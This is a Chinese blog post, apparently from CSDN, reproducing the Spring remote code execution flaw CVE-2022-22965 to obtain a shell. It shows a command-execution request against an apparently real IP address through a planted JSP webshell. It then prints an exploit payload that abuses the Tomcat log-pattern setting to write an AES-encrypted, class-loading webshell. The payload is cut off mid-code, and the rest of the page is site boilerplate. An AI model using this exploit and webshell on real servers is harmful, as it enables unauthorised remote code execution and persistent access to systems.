CVE-2022-22965:Spring远程代码执行漏洞复现

CVE-2022-22965:Spring远程代码执行漏洞复现&getshell骚操作
摘要由CSDN通过智能技术生成

CVE-2022-22965
在这里插入图片描述利用一键化工具可以检测到该漏洞可以RCE
在这里插入图片描述

http://82.157.246.36:49158/tomcatwar.jsp?pwd=j&cmd=whoami

在这里插入图片描述发现可以执行,但是利用此种方法是无法获取到webshell或是直接上线的。换一种方法打
在这里插入图片描述
poc:

class.module.classLoader.resources.context.parent.pipeline.first.pattern=<%25{
   sign}i!+String+xc%3d"3c6e0b8a9c15224a"%3b+String+pass%3d"pass"%3b+String+md5%3dmd5(pass%2bxc)%3b+class+X+extends+ClassLoader{
   public+X(ClassLoader+z){
   super(z)%3b}public+Class+Q(byte[]+cb){
   return+super.defineClass(cb,+0,+cb.length)%3b}+}public+byte[]+x(byte[]+s,boolean+m){
   +try{
   javax.crypto.Cipher+c%3djavax.crypto.Cipher.getInstance("AES")%3bc.init(m%3f1%3a2,new+javax.crypto.spec.SecretKeySpec(xc.getBytes(),"AES"))%3breturn+c.doFinal(s)%3b+}catch+(Exception+e){
   return+null%3b+}}+public+static+String+md5(String+s)+{
   String+ret+%3d+null%3btry+{
   
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值